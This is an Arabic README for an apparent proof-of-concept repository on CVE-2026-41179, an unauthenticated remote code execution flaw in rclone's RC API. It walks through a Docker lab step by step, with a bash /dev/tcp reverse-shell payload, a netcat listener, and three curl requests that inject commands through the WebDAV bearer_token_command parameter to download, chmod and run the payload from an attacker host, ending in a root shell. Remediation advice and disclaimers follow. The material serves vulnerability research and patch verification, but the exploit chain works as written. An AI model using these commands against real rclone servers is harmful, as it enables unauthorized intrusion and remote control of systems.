CVE-2026-41179 — RCE بدون مصادقة في واجهة RC API لـ rclone

⚠️ لأغراض تعليمية فقط هذا المستودع مخصّص حصريًا للبحث الأمني والتعليم وبيئات المختبرات المصرّح بها. لا تتغاضى PSSec والمساهمون في هذا المستودع عن أي استخدام غير مصرح به أو غير قانوني أو خبيث للمعلومات أو الأكواد أو التقنيات الواردة هنا، ولا يدعمونه، ولا يتحملون أي مسؤولية عنه. باستخدامك لهذا المستودع، فأنت توافق على أنك وحدك المسؤول عن أفعالك، وأنك ستختبر فقط الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.

نظرة عامة

CVE-2026-41179 هي ثغرة حرجة لتنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة في واجهة التحكم عن بُعد (RC) المدمجة في rclone، وتؤثر على الإصدارات 1.48.0 حتى 1.73.4.

كيف تعمل الثغرة

يأتي rclone مزودًا بواجهة تحكم عن بُعد HTTP مدمجة (rcd). تستقبل نقطة النهاية /operations/fsinfo سلسلة fs= يقدّمها المستخدم، ويتم تحليلها واستخدامها لإنشاء خلفية (backend) — بما في ذلك خلفية WebDAV. تدعم خلفية WebDAV معامل bearer_token_command، الذي يُمرَّر مباشرةً إلى exec.Command() دون أي تعقيم (sanitization). وبما أن هذه النقطة لا تتطلب مصادقة افتراضيًا، يمكن لمهاجم غير مصادق أن يطلق تنفيذ أوامر نظام تشغيل عشوائية بصلاحية مستخدم عملية rclone.

سلسلة الهجوم باختصار:

POST /operations/fsinfo (no auth)
  → rc.GetFs() parses attacker-controlled fs= string
    → WebDAV backend instantiated with attacker params
      → bearer_token_command extracted
        → exec.Command() fires OS command
          → RCE as rclone process user

هيكل المستودع

CVE-2026-41179/
├── Dockerfile.rclone          # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone  # Patched rclone image (v1.73.5)
├── poc.sh                     # Reverse shell payload
└── instructions               # Step-by-step lab walkthrough

إعداد المختبر والاستغلال (خطوة بخطوة)

المتطلبات الأساسية

• Docker
• مستمع: penelope أو netcat
• Python 3 (لتقديم الحمولة)

الخطوة 1 — بناء صورة Docker المعرضة للثغرة

docker build -t rclone-vuln -f Dockerfile.rclone .

يقوم ببناء حاوية Debian-slim تعمل بتشغيل rclone v1.69.3 مع تعريض واجهة RC API على المنفذ 5572.

الخطوة 2 — تشغيل الحاوية المعرضة للثغرة

docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln

أصبحت واجهة RC API الآن قابلة للوصول بدون مصادقة على http://127.0.0.1:5572.

الخطوة 3 — تشغيل المستمع الخاص بك

penelope -p 5555
# OR
nc -lvnp 5555

الخطوة 4 — تكوين حمولة القشرة العكسية

قم بتعديل poc.sh وضبط عنوان IP الخاص بالمهاجم ومنفذ الاستماع:

#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1

الخطوة 5 — تقديم الحمولة عبر HTTP

شغّل هذا الأمر من نفس الدليل الذي يوجد فيه poc.sh:

python3 -m http.server 8888

الخطوة 6 — تنزيل الحمولة إلى الهدف

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'

الخطوة 7 — جعل الحمولة قابلة للتنفيذ

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'

الخطوة 8 — تنفيذ الحمولة

curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
  --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'

الخطوة 9 — استلام القشرة

افحص المستمع الخاص بك — يجب أن تستلم قشرة بصلاحيات root من الحاوية:

[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root

الخطوة 10 — التحقق من التصحيح

كرّر الخطوات من 1 إلى 8 باستخدام الصورة المُصحَّحة للتأكد من إصلاح الثغرة:

docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched

أرسل طلب curl نفسه إلى المنفذ 5573 — يجب ألا يتم تنفيذ الأمر.

المعالجة

• قم بترقية rclone إلى الإصدار v1.73.5 أو أحدث — يتم الآن فرض المصادقة على جميع نقاط نهاية RC افتراضيًا.
• إذا لم تتمكن من الترقية فورًا، شغّل rcd مع خياري --rc-user و --rc-pass لطلب بيانات الاعتماد.
• قيّد وصول الشبكة إلى منفذ RC (5572) عبر قواعد جدار الحماية — يجب ألا يكون مكشوفًا أبدًا للشبكات غير الموثوقة.
• فكّر في استخدام --rc-no-auth=false (الافتراضي الجديد في الإصدارات المُصحَّحة) صراحةً في سكربتات بدء التشغيل.

إخلاء المسؤولية

هذا المستودع مُقدَّم لأغراض تعليمية وبحث أمني مصرّح به فقط. يثبت كود إثبات المفهوم (PoC) وجود ثغرة حقيقية في بيئة مختبر Docker خاضعة للتحكم.

PSSec وجميع المساهمين:

• لا يصرّحون باستغلال الأنظمة أو يشجعون عليه دون إذن كتابي صريح من مالك النظام.
• لا يتحملون أي مسؤولية عن أي ضرر أو فقدان بيانات أو عواقب قانونية أو إساءة استخدام ناتجة عن استخدام هذه المادة.
• يوصون بإجراء جميع الاختبارات فقط في بيئات مختبرية معزولة تملكها أو مخوّل باختبارها صراحةً.

قد يشكّل الاستخدام غير المصرح به لهذا الكود ضد أنظمة الإنتاج أو الأنظمة التي لا تملكها انتهاكًا لقوانين الاحتيال الحاسوبي والجرائم الإلكترونية في منطقتك.

CVE-2026-41179 — بحث من إعداد PSSec